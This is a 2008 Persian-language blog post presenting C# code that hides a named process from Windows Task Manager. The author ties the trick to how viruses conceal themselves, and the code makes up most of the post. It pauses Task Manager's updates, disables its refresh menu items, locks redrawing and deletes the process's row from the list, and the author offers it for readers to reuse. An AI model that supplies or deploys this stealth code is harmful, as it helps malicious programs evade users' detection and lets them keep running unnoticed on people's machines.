Hide Your Processes In Task Manager

12 12 2008

سلام مجدد خدمت دوستان، دیروز تو شرکت بحث از ویروس و نوشتن ویروس بود یکی از دوستان عزیزم به اسم سالار به موردی اشاره کرد که توجه مو جلب کرد اونم این بود که برخی از ویروسها اسم خودشونو از تو لیست Task Manager حذف یا اصطلاحا Hidden می کنن. نکته جالبی بود علاقه مند شدم که چطور ؟ دیشب نشستم و یک نمونه برنامه کوچیک نوشتم، که یک تابعی رو صدا میکنه و پارامتر ورودی تابع نام process ای که قرار به اصطلاح مخفی بشه. این بود که گفتم نمونه کد رو بزارم تا شما دوستان نیز بتونین ازش استفاده کنین. توضیحی در مورد نحوه عملکرد کد نمی دم چون comment برای هر بخش که مربوط به API میشه گذاشتم.

داشت یادم میرفت این نمونه کد در ویستا کار نمی کنه. در ضمن اگه در حین اجرا Exception پیش اومد که نتونستین رفع کنین یا سوالی در این رابطه دارین بپرسین و بگین تا حلش کنیم. 🙂

برای دانلود سورس کامل برنامه اینجا رو کلیک کنید


Int32 hwndParent = FindWindow(null, "Windows Task Manager");
Int32 hwndDialog = 0;
Int32 hwndProcessList = 0;
Int32 hwndProcessHeader = 0;


//-----/ Get menu task manager handle
Int32 hwndMenu = GetMenu(hwndParent);
//-----/ Get handle of view menu
Int32 hwndSubMenu = GetSubMenu(hwndMenu, 2);
//-----/ Get sub menu handle for update menu
Int32 hwndSubSubMenu = GetSubMenu(hwndSubMenu, 1);
//-----/ Get refresh item id
Int32 hwndRefreshItemID = GetMenuItemID(hwndSubMenu, 0);
//----/ Get high update item id
Int32 hwndHighUpdateItemID = GetMenuItemID(hwndSubSubMenu, 0);
//----/ Get normal update item id
Int32 hwndNormalUpdateItemID = GetMenuItemID(hwndSubSubMenu, 1);
//----/ Get low update item id
Int32 hwndLowUpdateItemID = GetMenuItemID(hwndSubSubMenu, 2);
//----/ Get pause update item id
Int32 hwndPauseUpdateItemID = GetMenuItemID(hwndSubSubMenu, 3);


if (processStatus)
{
for (int i = 0; i < 7; i++)
{
hwndDialog = FindWindowEx(hwndParent, hwndDialog, null, null);
if (hwndProcessList == 0) // Get process list view handle
hwndProcessList = FindWindowEx(hwndDialog, 0, "SysListView32", "Processes");
if (hwndProcessHeader == 0) // Get listview columns handle
hwndProcessHeader = FindWindowEx(hwndProcessList, 0, "SysHeader32", null);
}


//-----/ Click "paused update speed", so we can do it for the taskmgr
SendMessage(hwndParent, WM_COMMAND, hwndPauseUpdateItemID, 0);
//-----/ disable refresh now item
EnableMenuItem(hwndMenu, hwndRefreshItemID, MF_ENABLE);
//-----/ disable high update speed
EnableMenuItem(hwndMenu, hwndHighUpdateItemID, MF_GRAYED);
//-----/ disable normal update speed
EnableMenuItem(hwndMenu, hwndNormalUpdateItemID, MF_GRAYED);
//-----/ disable low update speed
EnableMenuItem(hwndMenu, hwndLowUpdateItemID, MF_GRAYED);
//-----/ disable paused update speed
EnableMenuItem(hwndMenu, hwndPauseUpdateItemID, MF_GRAYED);


//-----/ Disable the process header
EnableWindow(hwndProcessHeader, false);
//-----/ Sort process
SendMessage(hwndProcessList, LVM_SORTITEMS, 0, 0);
Int32 processIndex = GetProcessIndexByName(processName);
//-----/ disables drawing in the specified window
LockWindowUpdate(hwndProcessList);
//-----/ AutoClick refresh to update
SendMessage(hwndParent, WM_COMMAND, hwndRefreshItemID, 0);
//-----/ Delete process
SendMessage(hwndProcessList, LVM_DELETEITEM, processIndex - 1, 0);
//-----/ Unlock window - enable drawing in the specified window
LockWindowUpdate(0);

Advertisements